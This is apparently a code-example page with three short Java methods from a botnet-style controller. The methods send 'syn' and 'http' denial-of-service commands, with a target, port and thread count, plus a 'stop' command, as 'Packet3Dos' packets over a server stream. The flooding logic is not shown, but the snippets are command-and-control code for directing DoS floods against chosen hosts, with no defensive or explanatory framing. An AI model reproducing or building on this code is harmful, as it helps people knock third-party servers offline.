Пример #1
0
 public static void sendSyn(Server server, String target, int port, int threads) {
   Packet p =
       new Packet3Dos(
           server.outputstream,
           new String[] {"syn", target, String.valueOf(threads), String.valueOf(port)});
   p.write();
 }
Пример #2
0
 public static void sendHttp(Server server, String target, int threads) {
   Packet p =
       new Packet3Dos(server.outputstream, new String[] {"http", target, String.valueOf(threads)});
   p.write();
 }
Пример #3
0
 public static void sendStop(Server server) {
   Packet p = new Packet3Dos(server.outputstream, new String[] {"stop"});
   p.write();
 }